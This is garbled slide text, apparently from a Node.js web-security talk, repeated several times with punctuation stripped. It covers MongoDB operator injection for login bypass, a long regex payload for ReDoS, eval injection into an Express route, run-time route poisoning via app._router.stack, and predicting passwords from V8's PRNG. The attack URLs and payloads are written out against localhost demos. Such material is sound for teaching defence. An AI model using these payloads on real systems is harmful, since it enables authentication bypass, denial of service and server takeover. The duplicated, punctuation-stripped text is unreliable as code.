a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
